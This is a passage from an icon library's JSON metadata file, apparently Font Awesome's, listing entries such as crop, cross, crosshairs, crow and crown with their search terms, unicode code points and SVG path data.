39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z"
      }
    },
    "free": ["brands"]
  },
  "crop": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f125"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["design", "frame", "mask", "resize", "shrink"]
    },
    "styles": ["solid"],
    "unicode": "f125",
    "label": "Crop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 109.3l54.6-54.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L402.7 64 160 64v64l178.7 0L128 338.7V32c0-17.7-14.3-32-32-32S64 14.3 64 32V64H32C14.3 64 0 78.3 0 96s14.3 32 32 32H64V384c0 35.3 28.7 64 64 64H352V384H173.3L384 173.3 384 480c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H448l0-274.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 109.3l54.6-54.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L402.7 64 160 64v64l178.7 0L128 338.7V32c0-17.7-14.3-32-32-32S64 14.3 64 32V64H32C14.3 64 0 78.3 0 96s14.3 32 32 32H64V384c0 35.3 28.7 64 64 64H352V384H173.3L384 173.3 384 480c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H448l0-274.7z"
      }
    },
    "free": ["solid"]
  },
  "crop-simple": {
    "aliases": {
      "names": ["crop-alt"],
      "unicodes": {
        "secondary": ["10f565"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "frame", "mask", "resize", "shrink"]
    },
    "styles": ["solid"],
    "unicode": "f565",
    "label": "Crop Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 32c0-17.7-14.3-32-32-32S64 14.3 64 32V64H32C14.3 64 0 78.3 0 96s14.3 32 32 32H64V384c0 35.3 28.7 64 64 64H352V384H128V32zM384 480c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H448l0-256c0-35.3-28.7-64-64-64L160 64v64l224 0 0 352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 32c0-17.7-14.3-32-32-32S64 14.3 64 32V64H32C14.3 64 0 78.3 0 96s14.3 32 32 32H64V384c0 35.3 28.7 64 64 64H352V384H128V32zM384 480c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H448l0-256c0-35.3-28.7-64-64-64L160 64v64l224 0 0 352z"
      }
    },
    "free": ["solid"]
  },
  "cross": {
    "aliases": {
      "unicodes": {
        "composite": ["1f547", "271d"],
        "secondary": ["10f654"]
      }
    },
    "changes": ["5.3.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Christian",
        "Heavy Latin Cross",
        "catholicism",
        "christianity",
        "church",
        "cross",
        "jesus",
        "latin cross",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f654",
    "label": "Cross",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M176 0c-26.5 0-48 21.5-48 48v80H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h80V464c0 26.5 21.5 48 48 48h32c26.5 0 48-21.5 48-48V256h80c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H256V48c0-26.5-21.5-48-48-48H176z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M176 0c-26.5 0-48 21.5-48 48v80H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h80V464c0 26.5 21.5 48 48 48h32c26.5 0 48-21.5 48-48V256h80c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48H256V48c0-26.5-21.5-48-48-48H176z"
      }
    },
    "free": ["solid"]
  },
  "crosshairs": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f05b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["aim", "bullseye", "gpd", "picker", "position"]
    },
    "styles": ["solid"],
    "unicode": "f05b",
    "label": "Crosshairs",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c17.7 0 32 14.3 32 32V42.4c93.7 13.9 167.7 88 181.6 181.6H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H469.6c-13.9 93.7-88 167.7-181.6 181.6V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V469.6C130.3 455.7 56.3 381.7 42.4 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H42.4C56.3 130.3 130.3 56.3 224 42.4V32c0-17.7 14.3-32 32-32zM107.4 288c12.5 58.3 58.4 104.1 116.6 116.6V384c0-17.7 14.3-32 32-32s32 14.3 32 32v20.6c58.3-12.5 104.1-58.4 116.6-116.6H384c-17.7 0-32-14.3-32-32s14.3-32 32-32h20.6C392.1 165.7 346.3 119.9 288 107.4V128c0 17.7-14.3 32-32 32s-32-14.3-32-32V107.4C165.7 119.9 119.9 165.7 107.4 224H128c17.7 0 32 14.3 32 32s-14.3 32-32 32H107.4zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c17.7 0 32 14.3 32 32V42.4c93.7 13.9 167.7 88 181.6 181.6H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H469.6c-13.9 93.7-88 167.7-181.6 181.6V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V469.6C130.3 455.7 56.3 381.7 42.4 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H42.4C56.3 130.3 130.3 56.3 224 42.4V32c0-17.7 14.3-32 32-32zM107.4 288c12.5 58.3 58.4 104.1 116.6 116.6V384c0-17.7 14.3-32 32-32s32 14.3 32 32v20.6c58.3-12.5 104.1-58.4 116.6-116.6H384c-17.7 0-32-14.3-32-32s14.3-32 32-32h20.6C392.1 165.7 346.3 119.9 288 107.4V128c0 17.7-14.3 32-32 32s-32-14.3-32-32V107.4C165.7 119.9 119.9 165.7 107.4 224H128c17.7 0 32 14.3 32 32s-14.3 32-32 32H107.4zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "crow": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f520"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bird", "bullfrog", "fauna", "halloween", "holiday", "toad"]
    },
    "styles": ["solid"],
    "unicode": "f520",
    "label": "Crow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M456 0c-48.6 0-88 39.4-88 88v29.2L12.5 390.6c-14 10.8-16.6 30.9-5.9 44.9s30.9 16.6 44.9 5.9L126.1 384H259.2l46.6 113.1c5 12.3 19.1 18.1 31.3 13.1s18.1-19.1 13.1-31.3L311.1 384H352c1.1 0 2.1 0 3.2 0l46.6 113.2c5 12.3 19.1 18.1 31.3 13.1s18.1-19.1 13.1-31.3l-42-102C484.9 354.1 544 280 544 192V128v-8l80.5-20.1c8.6-2.1 13.8-10.8 11.6-19.4C629 52 603.4 32 574 32H523.9C507.7 12.5 483.3 0 456 0zm0 64a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M456 0c-48.6 0-88 39.4-88 88v29.2L12.5 390.6c-14 10.8-16.6 30.9-5.9 44.9s30.9 16.6 44.9 5.9L126.1 384H259.2l46.6 113.1c5 12.3 19.1 18.1 31.3 13.1s18.1-19.1 13.1-31.3L311.1 384H352c1.1 0 2.1 0 3.2 0l46.6 113.2c5 12.3 19.1 18.1 31.3 13.1s18.1-19.1 13.1-31.3l-42-102C484.9 354.1 544 280 544 192V128v-8l80.5-20.1c8.6-2.1 13.8-10.8 11.6-19.4C629 52 603.4 32 574 32H523.9C507.7 12.5 483.3 0 456 0zm0 64a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "crown": {
    "aliases": {
      "unicodes": {
        "composite": ["1f451"],
        "secondary": ["10f521"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "award",
        "clothing",
        "crown",
        "favorite",
        "king",
        "queen",
        "royal",
        "tiara"
      ]
    },
    "styles": ["solid"],
    "unicode": "f521",
    "label": "Crown",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
